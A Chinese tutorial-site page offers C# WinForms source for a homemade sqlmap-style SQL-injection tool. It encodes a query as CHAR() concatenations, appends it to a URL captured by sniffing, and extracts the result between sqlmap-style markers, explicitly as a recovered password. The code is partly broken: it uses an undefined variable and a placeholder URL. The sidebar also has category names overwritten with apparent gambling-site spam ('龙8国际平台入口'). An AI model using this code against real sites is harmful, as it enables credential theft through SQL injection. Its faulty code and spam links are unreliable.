返回首页

用c#模拟sqlmap查询源码。

时间:2020-01-04 18:47来源:知行网www.zhixing123.cn 编辑:麦田守望者

using CsharpHttpHelper; //调用第三方库

using System.Threading; // 引用线程

using CsharpHttpHelper.Enum;

 

namespace WindowsFormsApp1444

{

    public partial class Form1 : Form

    {

        public Form1()

        {

            InitializeComponent();

            CheckForIllegalCrossThreadCalls = false; // 防卡死

        }

 

        private void button4_Click(object sender, EventArgs e)

        {

            Thread obj = new Thread(new ThreadStart(delegate

            {

                HttpHelper http = new HttpHelper();

                string str4 = textBox1.Text.Trim();

                string upwd;

                TextBox text = new TextBox();

                byte[] array = System.Text.Encoding.ASCII.GetBytes(str4);

 

                string ASCIIstr4 = null;

                for (int i = 0; i < array.Length; i++)

                {

                    int asciicode = (int)(array[i]);

                    ASCIIstr4 = Convert.ToString(asciicode);

                    text.AppendText("CHAR%28" + ASCIIstr4 + "%29%2B");

                }

                string poc4 = text.Text;

                //textBox2.AppendText(poc3);//测试转码是否成功

                string url4 = "url,可以通过抓包抓到查询的那个url。然后拼接" + poc +" ";

                url4 = url4.Replace("%29%2B%29", "%29%29");

                //textBox2.AppendText(url);

                HttpItem item = new HttpItem()

 

                {

                    URL = url4,//URL     必需项

                    Method = "GET",//URL     可选项 默认为Get

                    Timeout = 100000,//连接超时时间     可选项默认为100000

                    ReadWriteTimeout = 30000,//写入Post数据超时时间     可选项默认为30000

                    IsToLower = false,//得到的HTML代码是否转成小写     可选项默认转小写

                    Cookie = "",//字符串Cookie     可选项

                    UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",//用户的浏览器类型,版本,操作系统     可选项有默认值

                    Accept = "text/html, application/xhtml+xml, */*",//    可选项有默认值

                    ContentType = "text/html",//返回类型    可选项有默认值

                    Referer = "",//来源URL     可选项

                    Allowautoredirect = false,//是否根据301跳转     可选项

                    AutoRedirectCookie = false,//是否自动处理Cookie     可选项

                                               //CerPath = "d:\123.cer",//证书绝对路径     可选项不需要证书时可以不写这个参数

                                               //Connectionlimit = 1024,//最大连接数     可选项 默认为1024

                    Postdata = "",//Post数据     可选项GET时不需要写

                                  //ProxyIp = "192.168.1.105:2020",//代理服务器ID     可选项 不需要代理 时可以不设置这三个参数

                                  //ProxyPwd = "123456",//代理服务器密码     可选项

                                  //ProxyUserName = "administrator",//代理服务器账户名     可选项

                    ResultType = ResultType.String,//返回数据类型,是Byte还是String

                };

                HttpResult result = http.GetHtml(item);

                string html = result.Html;

                string cookie = result.Cookie;

                //qkkbq7995qkpbq

                upwd = HttpHelper.GetBetweenHtml(result.Html, "qbqqq", "qqjjq");

                textBox2.AppendText("密码为:" + upwd + "\r\n");

 

 

                /// <summary>

                /// 字节数组生成图片

                /// </summary>

                /// <param name="Bytes">字节数组</param>

                /// <returns>图片</returns>

            })); // 事件委托,防止卡死

            obj.Start(); // 启动线程

        }

------分隔线----------------------------
标签(Tag):
------分隔线----------------------------
推荐内容
  • ASP.NET-简介

    ASP.NET是一个Web开发平台,可提供编程模型,全面的软件基础结构以及为PC和移动设备构...

  • 用c#模拟sqlmap查询源码。

    using CsharpHttpHelper; //调用第三方库 using System.Threading; // 引用线程 using...

  • 什么是ASP.NET?它是艺术,它是建筑。

    什么是ASP.Net? ASP.Net是Microsoft提供的Web开发平台。它用于创建基于Web的应用程序...

  • SQL Server 2008 sa登录报18456错误的解决方法

    许多人用SQL Server用的时间长了会自动报18456错误,SQL Server 18456错误应该说很好...

  • Windows 2003 IIS如何启用Gzip压缩的方法

    经常看到网上有人提问说:开GZIP压缩有什么好处?Gzip开启以后会将输出到用户浏览器的...

  • IIS自定义404错误页面提示系统找不到指定的文件问题

    我们在IIS站点属性里面设置了自定义的404错误页面为一个文件之后,不知道为什么一直不...

  • 猜你感兴趣
  • 教育技术学动态
  • 教育技术学论文
  • 理论研究
  • 应用研究
  • 资源收藏
  • 百家观点
  • 英文文献
  • 中国电化教育
  • 电化教育研究
  • 中国远程教育
  • 开放教育研究
  • 现代教育技术
  • 远程教育杂志
  • 现代远距离教育
  • 中国教育信息化
  • 中国信息技术教育
  • 中小学信息技术
  • Flash龙8国际平台入口
  • Photoshop龙8国际平台入口
  • 3DMAX龙8国际平台入口
  • AutoCAD龙8国际平台入口
  • CorelDRAW龙8国际平台入口
  • Matlab龙8国际平台入口
  • 其他龙8国际平台入口
  • .Net龙8国际平台入口
  • Asp龙8国际平台入口
  • Php龙8国际平台入口
  • Jsp龙8国际平台入口
  • Ajax龙8国际平台入口
  • Android教程
  • 其他龙8国际平台入口
  • Word教程
  • Excel教程
  • PowerPoint教程
  • Ubuntu教程
  • 其他教程
  • 课件下载
  • 软件下载
  • 视频教程下载
  • 其他下载
  • 教案大全
  • 试题大全
  • 课件大全
  • 其他大全
  • 人像摄影
  • 风光摄影